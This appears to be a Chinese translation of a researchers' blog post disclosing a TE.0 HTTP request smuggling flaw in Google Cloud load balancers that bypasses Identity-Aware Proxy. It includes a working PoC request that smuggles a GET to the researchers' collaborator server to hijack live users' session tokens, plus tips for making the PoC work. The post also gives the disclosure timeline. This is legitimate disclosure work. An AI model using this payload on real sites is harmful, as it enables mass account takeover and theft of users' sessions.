揭秘 TE.0 HTTP 请求走私：在数千个 Google Cloud 网站中发现严重漏洞

这篇博文是 Paolo Arnolfo (@sw33tLie) 的合作成果，Paolo Arnolfo 是一位对服务器端漏洞充满热情的黑客爱好者；Guillermo Gregorio (@bsysop) 是一位超级英雄爸爸和熟练的黑客；以及 █████ (@_medusa_1_) 是一位隐秘的天才。他们通力合作，为您带来对新型 HTTP 请求走私漏洞的见解以及他们的最新发现。

不久前，我们与一位朋友讨论了将整个基础设施托管在云上的安全优势。他的公司刚刚从自托管过渡到完全基于云，他对此非常热衷。

虽然这篇博文的目的并不是反对云托管，但有趣的是，就在同一天，我们的团队使用一种新颖的 HTTP 请求走私载体（属于一种新型走私类）攻击了一个漏洞赏金目标。

我们后来发现有一个强大的漏洞，影响了数千个使用其负载均衡器的 Google Cloud 托管网站。

由于 GCP 负载均衡器和与其相连的多个技术堆栈的广泛使用，我们能够攻陷各种各样的服务，包括身份感知代理 (IAP)。

我们对几乎每个手动检查的易受攻击的主机都产生了严重影响。

介绍：TE.0 HTTP 请求走私

我们可以肯定的是，HTTP 请求走私仍然无处不在，而且研究不足。多位安全研究人员（如James Kettle）在 X 上多次提出这一点：

寻找新的攻击媒介可能是一个令人兴奋的旅程。它通常依赖于创造力、研究和运气。

我们认为提出新有效载荷的两种最佳方法是：

https://github.com/narfindustries/http-garden：用于 HTTP 服务器和代理的差异测试和模糊测试的工具。

漏洞赏金/VDP 喷洒和祈祷：调整现有工具（例如defparam的smuggler.py）来扫描广泛的目标，希望能够找到目标。

虽然 http-garden 非常适合测试 nginx 或 Apache 等公开可用的 HTTP 服务器，因为它在您的计算机上本地运行，但它无法可靠地测试云提供商使用的技术堆栈。这些技术堆栈可能是高度定制的或完全独特的。

剩下的唯一选择就是将我们新颖的有效载荷分散到尽可能多的目标上。实际上，这意味着将它们发送到漏洞赏金和/或漏洞披露计划的列表中。这是有效的，因为我们被合法允许攻击这些程序，并且它们为我们提供了巨大的攻击面。

生成要破解的范围的最快方法是使用我们自己的bbscope工具。例如，安装该工具后，您可以运行此命令从Bugcrowd获取所有 BBP 和 VDP 范围并将它们保存在文件中：bugcrowd-scope.txt

bbscope bc -E "your_bugcrowd_email" -P "your_bugcrowd_password" -o u | tee bugcrowd-scope.txt

经过一些手动清理后，您将得到一个 URL 和通配符根域列表。通过在通配符根域上运行子域枚举工具，您将快速生成一个完整的子域列表以供研究。

想法

在尝试了几种新想法和新有效载荷之后，我们得到了一个重要的观察。

目前在互联网上发现的 HTTP/1.1 走私类型包括：

• CL.TE：前端服务器使用Content-Lengthheader，后端服务器使用Transfer-Encodingheader。

• TE.CL：前端服务器使用Transfer-Encoding头，后端服务器使用Content-Length头。

• TE.TE：前端和后端服务器都支持该Transfer-Encoding标头，但可以通过某种方式混淆标头来诱导其中一个服务器不处理它。

• CL.0：后端忽略Content-Length标头（视为 0），但前端会解析它。

然而，我们最终问了自己这个问题：为什么没有TE.0？本质上，它可以以与变体相同的方式运行CL.0，但使用Transfer-Encoding。

TE.0 PoC

经过多次尝试，我们发现世界上最大的银行之一的主要 API 上存在 TE.0 走私。然后，我们能够使用类似于以下的有效负载泄露登录用户的会话令牌：

OPTIONS / HTTP/1.1Host: {HOST}Accept-Encoding: gzip, deflate, brAccept: */*Accept-Language: en-US;q=0.9,en;q=0.8User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36Transfer-Encoding: chunkedConnection: keep-alive50GET <http://our-collaborator-server/> HTTP/1.1x: X0EMPTY_LINE_HEREEMPTY_LINE_HERE

通过使用null payloadsBurp Suite Intruder 多次发送此请求，我们有效地将实时用户重定向到我们自己的协作服务器。方便的是，这还具有向我们发送用户会话令牌的副作用。这意味着我们能够执行大规模 0 次点击帐户接管：

更广泛的发现

后来，我们更广泛地扫描了这种新的走私载荷，并从我们的漏洞赏金计划中获得了数千个结果。

我们注意到，所有易受攻击的目标似乎都托管在 Google Cloud 上。有些目标具有经典的Via: 1.1 google响应标头，而另一些目标则受到 Google IAP（身份感知代理）身份验证的保护，并且Invalid IAP credentials: empty token在没有有效会话令牌的情况下访问时返回以下消息：

我们花了一些时间才弄清楚哪个组件存在漏洞。通过受影响公司的调查，我们发现问题出在 Google Cloud 的负载均衡器上。

有趣的是，我们扫描的 GCP 主机中并非所有主机都存在漏洞，但相当一部分主机存在漏洞。这是因为必须将 GCP 负载均衡器配置为默认使用 HTTP/1.1，而不是 HTTP/2。

然而事实证明，其中许多网站（事实上有数千个网站）仍然默认使用旧版本的 HTTP 协议。

Google IAP 和零信任

鉴于许多受影响的主机受到 Google IAP 的保护，解释其核心概念及其与零信任安全的关系非常重要。

Google IAP是 Google Cloud Platform 提供的一项安全服务，用于控制对 Web 应用程序和资源的访问。它通过验证用户身份并根据用户身份和群组成员身份执行访问策略，确保只有经过身份验证和授权的用户才能访问这些资源。本质上，它充当守门人，位于用户和应用程序之间，保护应用程序免受未经授权的访问。

零信任是一种安全模型，要求对每个试图访问资源的用户和设备进行严格的身份验证，无论他们身在何处（网络内部或外部）。其核心原则是“永不信任，始终验证”，这意味着持续身份验证、最小特权访问和持续监控是其方法的关键。

Google IAP 的运作遵循零信任原则，具体如下：

1. 验证用户：确保用户通过其 Google 帐户或其他身份提供商进行验证。

2. 授权访问：根据用户身份和群组成员身份执行访问策略。

3. 控制访问：仅允许经过身份验证和授权的用户的请求到达应用程序或资源。

这意味着在用户访问受保护的应用程序之前，他们必须首先通过 IAP 来检查他们的凭证和权限。

参考：https: //cloud.google.com/iap/docs/concepts-overview#app-engine

当 Google IAP 位于 Google Load Balancer 后面，而后者受到请求走私的影响时，上述所有强大的安全措施都将失效。我们可以在无需用户交互的情况下绕过授权，破坏应用程序的整个安全模型，并可能暴露敏感数据和资源。

不同的开发技术

我们之前介绍的 TE.0 PoC 实现了全站重定向到攻击者控制的域。这本身通常会产生严重影响，但情况并非总是如此。

在手动测试一些新结果时，我们发现这种重定向并不总是有效，并且不会产生重大的安全影响。

然而，这些网站仍然可以通过利用特定于应用程序的小工具来利用，基本上每次都能产生关键影响。

所有用于利用其他类型走私攻击的技术也适用于 TE.0 走私攻击。如果您不熟悉，我们建议您在此处阅读更多信息。

TE.0 测试技巧

根据我们自己的经验，在测试 TE.0 走私时应该考虑以下几点：

• 根据 HTTP/1.1 RFC ，块长度（在我们的例子中为50）必须是十六进制数。确保大小正确，并且不要以十进制格式表示。

• 在最后一个 0（结束请求中的最后一个块）之后，需要两行空行。

• 确保并禁用自动内容长度调整，以便Content-Length在发送 PoC 请求之前不会添加标头。

• 尝试不同的 HTTP 方法。我们在本博文中展示的漏洞仅适用于 OPTIONS 方法，因为它在 GET 和 POST 中均失败。

向 Google 报告

在意识到该问题影响 Google Cloud 后，我们直接向 Google 报告了此事。由于我们最初报告此事的公司已经向 Google 单独开具了工单，因此我们的报告得到了相当不寻常的处理方式。

然而，经过一番反复，我们终于让谷歌承认了我们的工作，他们也为报告处理不当道歉。

我们理解在这种情况下把所有线索串联起来是多么困难，但我们对最终的结果感到很满意。 

披露时间表

• 2024.04.22 ：向漏洞赏金计划报告

• 2024.04.23 ：已向 Google 报告

• 2024.04.24 ：由 Google 分类

• 2024.04.25 ：Google 关闭了该报告，因为他们无法重现该问题。我们通知他们，我们知道该问题已得到修复，并要求他们再次检查。

• 2024.04.29 ：Google 通知我们他们没有修复该问题，并且仍然无法重现该问题。我们提供了更多证据并要求团队重新考虑。

• 2024.05.02 ：谷歌重新开启了该报告，承认这确实是他们在收到单独的客户票后已经修复的问题。

• 谷歌奖励了我们 8,500 美元的赏金。

结论

最初是因为对新型 HTTP 请求走私技术的好奇，我们进行了深入调查并投入了巨额资金。经过大量研究和多次失败尝试，我们终于发现了这个漏洞，这证明了坚持不懈和创造性思维的力量。